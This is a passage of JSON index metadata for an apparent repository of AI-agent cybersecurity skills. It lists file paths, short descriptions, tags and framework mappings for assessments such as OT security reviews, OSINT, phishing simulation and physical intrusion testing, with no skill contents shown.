-->","isInternal":false,"tokens":930,"sizeBytes":3626},{"name":"SKILL.md","path":"skills/performing-nist-csf-maturity-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-nist-csf-maturity-assessment/SKILL.md","title":"performing-nist-csf-maturity-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-nist-csf-maturity-assessment","description":"Conduct a NIST Cybersecurity Framework (CSF) 2.0 maturity assessment across the six core Functions (Govern, Identify, Protect, Detect, Respond, Recover), scoring organizational posture against the four Implementation Tiers (Partial, Risk-Informed, Repeatable, Adaptive) and producing an improvement roadmap. Use when benchmarking an organization's cybersecurity program maturity or preparing a CSF-based gap analysis and remediation plan.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["compliance","governance","nist","csf","maturity-assessment","risk-management"],"nist_csf":["GV.OC-01","GV.RM-01","GV.PO-01","ID.RA-01","GV.OV-01"],"version":"1.0","author":"mahipal","license":"Apache-2.0","mitre_attack":["T1078","T1530","T1685.002"]},"isInternal":false,"tokens":1348,"sizeBytes":5975},{"name":"api-reference.md","path":"skills/performing-oauth-scope-minimization-review/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-oauth-scope-minimization-review/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":465,"sizeBytes":1968},{"name":"SKILL.md","path":"skills/performing-oauth-scope-minimization-review/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-oauth-scope-minimization-review/SKILL.md","title":"performing-oauth-scope-minimization-review","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2FSKILL.md -->","frontmatter":{"name":"performing-oauth-scope-minimization-review","description":"Performs OAuth 2.0 scope minimization review to identify over-permissioned third-party application integrations, excessive API scopes, unused token grants, and risky OAuth consent patterns across identity providers and SaaS platforms. Activates for requests involving OAuth scope audit, API permission review, third-party app risk assessment, or consent grant minimization.\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["OAuth","scope-minimization","API-security","consent-review","third-party-risk","token-audit"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","stealth"],"techniques":[{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"F1005.001","name":"Account Manipulation: Account Linking","tactic":"positioning","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1023","name":"Device Fingerprint Spoofing","tactic":"stealth","source":"f3"}]}},"isInternal":false,"tokens":5361,"sizeBytes":24916},{"name":"api-reference.md","path":"skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":382,"sizeBytes":1567},{"name":"SKILL.md","path":"skills/performing-oil-gas-cybersecurity-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-oil-gas-cybersecurity-assessment/SKILL.md","title":"performing-oil-gas-cybersecurity-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-oil-gas-cybersecurity-assessment","description":"Conduct cybersecurity assessments of upstream, midstream, and downstream oil and gas operations, covering pipeline SCADA, refinery DCS, safety instrumented systems, and remote wellhead RTUs, and evaluate compliance with API 1164, TSA Pipeline Security Directives, and IEC 62443. Use when assessing a refinery, pipeline, or production facility or preparing for TSA/API compliance audits; not for IT-only or purely physical-security assessments.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","oil-gas","pipeline-security","api1164"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3448,"sizeBytes":15955},{"name":"template.md","path":"skills/performing-open-source-intelligence-gathering/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-open-source-intelligence-gathering/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1097,"sizeBytes":4115},{"name":"api-reference.md","path":"skills/performing-open-source-intelligence-gathering/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-open-source-intelligence-gathering/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":329,"sizeBytes":1471},{"name":"standards.md","path":"skills/performing-open-source-intelligence-gathering/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-open-source-intelligence-gathering/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":682,"sizeBytes":3156},{"name":"workflows.md","path":"skills/performing-open-source-intelligence-gathering/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-open-source-intelligence-gathering/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1716,"sizeBytes":6727},{"name":"SKILL.md","path":"skills/performing-open-source-intelligence-gathering/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-open-source-intelligence-gathering/SKILL.md","title":"performing-open-source-intelligence-gathering","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2FSKILL.md -->","frontmatter":{"name":"performing-open-source-intelligence-gathering","description":"Open Source Intelligence (OSINT) gathering is the first active phase of a red team engagement, where operators collect publicly available information about the target organization to identify attack s","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","osint","reconnaissance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1592"]},"isInternal":false,"tokens":1241,"sizeBytes":5795},{"name":"api-reference.md","path":"skills/performing-osint-with-spiderfoot/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-osint-with-spiderfoot/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":542,"sizeBytes":1954},{"name":"SKILL.es.md","path":"skills/performing-osint-with-spiderfoot/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-osint-with-spiderfoot/SKILL.es.md","title":"performing-osint-with-spiderfoot","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.es.md -->","frontmatter":{"name":"performing-osint-with-spiderfoot","description":"Automate OSINT collection using SpiderFoot REST API and CLI for target profiling, module-based reconnaissance, and structured result analysis across 200+ data sources","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["osint","spiderfoot","reconnaissance","threat-intelligence","attack-surface","target-profiling"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":552,"sizeBytes":2092},{"name":"SKILL.md","path":"skills/performing-osint-with-spiderfoot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-osint-with-spiderfoot/SKILL.md","title":"performing-osint-with-spiderfoot","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.md -->","frontmatter":{"name":"performing-osint-with-spiderfoot","description":"Automate OSINT collection with the SpiderFoot REST API and CLI (sf.py/spiderfoot-cli) across 200+ modules, selecting scan modes (footprint, investigate, passive) and parsing results for domains, IPs, emails, leaked credentials, and DNS records into a target intelligence profile. Use when mapping an organization's attack surface or profiling a target for threat intelligence.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["osint","spiderfoot","reconnaissance","threat-intelligence","attack-surface","target-profiling"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1595"]},"isInternal":false,"tokens":561,"sizeBytes":2430},{"name":"template.md","path":"skills/performing-ot-network-security-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-network-security-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1325,"sizeBytes":4929},{"name":"api-reference.md","path":"skills/performing-ot-network-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-network-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":372,"sizeBytes":1452},{"name":"standards.md","path":"skills/performing-ot-network-security-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-network-security-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":971,"sizeBytes":4136},{"name":"workflows.md","path":"skills/performing-ot-network-security-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-network-security-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1032,"sizeBytes":4858},{"name":"SKILL.md","path":"skills/performing-ot-network-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-network-security-assessment/SKILL.md","title":"performing-ot-network-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-ot-network-security-assessment","description":"This skill covers conducting comprehensive security assessments of Operational Technology (OT) networks including SCADA systems, DCS architectures, and industrial control system communication paths. It addresses the Purdue Reference Model layers, identifies IT/OT convergence risks, evaluates firewall rules between zones, and maps industrial protocol traffic (Modbus, DNP3, OPC UA, EtherNet/IP) to detect misconfigurations, unauthorized connections, and attack surfaces in critical infrastructure.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","network-assessment"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":5887,"sizeBytes":24331},{"name":"api-reference.md","path":"skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":321,"sizeBytes":1166},{"name":"SKILL.md","path":"skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md","title":"performing-ot-vulnerability-assessment-with-claroty","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2FSKILL.md -->","frontmatter":{"name":"performing-ot-vulnerability-assessment-with-claroty","description":"Perform OT vulnerability assessments using the Claroty xDome platform for asset discovery, risk scoring, and vulnerability correlation, combining passive traffic-based identification and active safe device querying with CVE/ICS-CERT advisory correlation for remediation prioritization. Use for scheduled IEC 62443 or NERC CIP OT vulnerability assessments, initial xDome deployment, or generating CIP-010-4 compliance evidence; not for active PLC scanning or penetration testing.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","vulnerability-assessment","claroty"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":2882,"sizeBytes":12530},{"name":"api-reference.md","path":"skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":447,"sizeBytes":1573},{"name":"SKILL.md","path":"skills/performing-ot-vulnerability-scanning-safely/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ot-vulnerability-scanning-safely/SKILL.md","title":"performing-ot-vulnerability-scanning-safely","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2FSKILL.md -->","frontmatter":{"name":"performing-ot-vulnerability-scanning-safely","description":"Perform vulnerability scanning in OT/ICS environments safely using passive monitoring, native protocol queries, and carefully controlled active scanning with Tenable OT Security to identify vulnerabilities without disrupting industrial processes or crashing legacy controllers.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","vulnerability-scanning","tenable","nessus","passive-scanning","risk-management","nist"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1046","T0816"]},"isInternal":false,"tokens":2463,"sizeBytes":11500},{"name":"api-reference.md","path":"skills/performing-packet-injection-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-packet-injection-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":541,"sizeBytes":1665},{"name":"SKILL.md","path":"skills/performing-packet-injection-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-packet-injection-attack/SKILL.md","title":"performing-packet-injection-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2FSKILL.md -->","frontmatter":{"name":"performing-packet-injection-attack","description":"Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","packet-injection","scapy","hping3","protocol-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1055"]},"isInternal":false,"tokens":3400,"sizeBytes":12363},{"name":"api-reference.md","path":"skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":375,"sizeBytes":1470},{"name":"SKILL.md","path":"skills/performing-paste-site-monitoring-for-credentials/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-paste-site-monitoring-for-credentials/SKILL.md","title":"performing-paste-site-monitoring-for-credentials","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2FSKILL.md -->","frontmatter":{"name":"performing-paste-site-monitoring-for-credentials","description":"Monitor paste sites like Pastebin and GitHub Gists for leaked credentials, API keys, and sensitive data dumps using automated scraping and keyword matching to detect breaches early.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["paste-monitoring","credential-leak","pastebin","data-breach","threat-intelligence","osint","early-warning"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1593.002","name":"Search Open Websites/Domains: Search Engines","tactic":"reconnaissance","source":"attack"},{"id":"T1650","name":"Acquire Access","tactic":"resource-development","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"}]}},"isInternal":false,"tokens":3262,"sizeBytes":14936},{"name":"template.md","path":"skills/performing-phishing-simulation-with-gophish/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-phishing-simulation-with-gophish/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":677,"sizeBytes":2558},{"name":"api-reference.md","path":"skills/performing-phishing-simulation-with-gophish/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-phishing-simulation-with-gophish/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":418,"sizeBytes":1652},{"name":"standards.md","path":"skills/performing-phishing-simulation-with-gophish/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-phishing-simulation-with-gophish/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":657,"sizeBytes":2800},{"name":"workflows.md","path":"skills/performing-phishing-simulation-with-gophish/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-phishing-simulation-with-gophish/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":950,"sizeBytes":3626},{"name":"SKILL.md","path":"skills/performing-phishing-simulation-with-gophish/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-phishing-simulation-with-gophish/SKILL.md","title":"performing-phishing-simulation-with-gophish","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2FSKILL.md -->","frontmatter":{"name":"performing-phishing-simulation-with-gophish","description":"Deploy and run authorized phishing awareness campaigns with GoPhish, covering admin panel setup, SMTP sending profiles, email template and landing page creation, target user groups, and campaign reporting to measure click and credential-submission rates. Use when planning or executing a phishing simulation for employee security-awareness testing or measuring susceptibility to social engineering.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","gophish","simulation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036"],"mitre_f3":{"version":"1.1","tactics":["resource-development","initial-access","reconnaissance"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1280,"sizeBytes":5241},{"name":"template.md","path":"skills/performing-physical-intrusion-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":330,"sizeBytes":1365},{"name":"api-reference.md","path":"skills/performing-physical-intrusion-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":297,"sizeBytes":1384},{"name":"standards.md","path":"skills/performing-physical-intrusion-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":406,"sizeBytes":1390},{"name":"workflows.md","path":"skills/performing-physical-intrusion-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":703,"sizeBytes":4573},{"name":"SKILL.md","path":"skills/performing-physical-intrusion-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-physical-intrusion-assessment/SKILL.md","title":"performing-physical-intrusion-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-physical-intrusion-assessment","description":"Conduct authorized physical penetration testing against facilities, server rooms, and restricted areas using tailgating, RFID badge cloning, lock bypassing, rogue network device deployment, and security-guard procedure testing. Use as part of a full-scope red team engagement to evaluate physical security controls and their path to network access, always under signed client authorization.","domain":"cybersecurity","subdomain":"red-teaming","tags":["physical-security","red-team","tailgating","badge-cloning","lock-picking","rfid","physical-pentest"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Hardware Component Inventory","Electromagnetic Radiation Hardening","RF Shielding","Asset Inventory"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1027"]},"isInternal":false,"tokens":1969,"sizeBytes":8212},{"name":"api-reference.md","path":"skills/performing-plc-firmware-security-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-plc-firmware-security-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":399,"sizeBytes":1760},{"name":"SKILL.md","path":"skills/performing-plc-firmware-security-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-plc-firmware-security-analysis/SKILL.md","title":"performing-plc-firmware-security-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-plc-firmware-security-analysis","description":"This skill covers analyzing Programmable Logic Controller (PLC) firmware for security vulnerabilities including hardcoded credentials, insecure update mechanisms, backdoor functions, memory corruption flaws, and undocumented debug interfaces. It addresses firmware extraction from common PLC platforms (Siemens S7, Allen-Bradley, Schneider Modicon), static analysis of firmware images, dynamic analysis in emulated environments, and comparison against known-good baselines to detect 